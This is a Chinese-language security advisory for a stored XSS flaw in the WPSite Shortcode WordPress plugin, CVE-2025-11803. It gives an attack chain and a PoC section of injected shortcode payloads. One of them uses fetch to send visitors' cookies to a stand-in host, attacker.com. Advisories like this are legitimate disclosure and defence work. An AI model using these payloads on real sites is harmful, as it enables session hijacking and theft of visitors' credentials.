CVE-2025-11803 CVSS 6.4 中危

CVE-2025-11803 WPSite Shortcode插件存储型XSS漏洞

披露日期: 2025-11-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-11803

漏洞类型

存储型XSS

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WPSite Shortcode (WordPress插件)

漏洞概述

CVE-2025-11803是WordPress平台下WPSite Shortcode插件的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于插件的多个短代码处理函数中，由于对用户输入的清理和输出转义处理不当，攻击者可以在特定短代码属性中注入恶意JavaScript脚本。漏洞影响范围为WPSite Shortcode插件1.2及以下所有版本。攻击者利用该漏洞需要具备WordPress网站的贡献者(Contributor)级别或更高权限。成功利用后，攻击者注入的恶意脚本代码将存储在数据库中，当其他用户访问包含恶意代码的页面时，脚本会自动执行，可能导致会话劫持、敏感信息窃取、恶意重定向等安全问题。由于该漏洞属于存储型XSS，其危害性高于反射型XSS，因为恶意代码会持久化存在于网站上，对所有访问者构成威胁。

技术细节

漏洞根源在于WPSite Shortcode插件的shortcodes/wpsite-date.php文件中第19、35、51行的代码实现。问题代码在处理[wpsite_y]短代码的'format'属性和[wpsite_postauthor]短代码的'before'属性时，直接将用户输入插入到错误消息中进行输出，而未进行充分的输入验证和HTML转义。具体而言，代码使用类似sprintf或字符串拼接的方式构造错误消息，将用户可控的参数值直接拼接到字符串中，当错误消息被输出到网页时，恶意构造的脚本标签和JavaScript代码会被浏览器解析执行。攻击者只需在短代码属性值中嵌入<script>alert('XSS')</script>或类似的事件处理器如<img src=x onerror=alert(1)>，即可实现持久化的XSS攻击。由于WordPress的贡献者角色具有创建和编辑文章的权限，攻击门槛相对较低。

攻击链分析

STEP 1

信息收集

攻击者确认目标网站使用WPSite Shortcode插件且版本在1.2或以下

STEP 2

权限获取

攻击者获取WordPress网站的贡献者(Contributor)或更高权限账户

STEP 3

恶意代码注入

在文章或页面内容中插入包含恶意XSS payload的短代码，如[wpsite_y format="<script>alert(1)</script>"]

STEP 4

数据持久化

恶意代码随文章内容被保存到数据库中，实现持久化存储

STEP 5

触发执行

当其他用户（管理员、访客等）访问包含恶意代码的页面时，浏览器解析并执行注入的JavaScript脚本

STEP 6

攻击完成

攻击者可窃取用户Cookie、会话令牌，或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- WordPress WPSite Shortcode CVE-2025-11803 PoC -->
<!-- Stored XSS via wpsite_y shortcode format attribute -->
[wpsite_y format="<script>alert(document.cookie)</script>"]

<!-- Stored XSS via wpsite_postauthor shortcode before attribute -->
[wpsite_postauthor before="<img src=x onerror=alert('XSS')>"]

<!-- More sophisticated payload for session hijacking -->
[wpsite_y format="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"]

<!-- Payload using event handlers -->
[wpsite_postauthor before="<svg onload=eval(atob('YWxlcnQoJ1hTUycpOw=='))>"]

影响范围

WPSite Shortcode <= 1.2

防御指南

临时缓解措施

如果无法立即更新插件，可采取以下临时措施：1) 临时禁用或删除WPSite Shortcode插件；2) 限制用户注册和文章发布权限，仅允许可信用户发布内容；3) 使用Web应用防火墙(WAF)规则阻止包含XSS特征的请求；4) 对现有文章内容进行安全审计，查找并清除可能的恶意短代码。同时建议加强WordPress网站的访问日志监控，及时发现异常行为。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表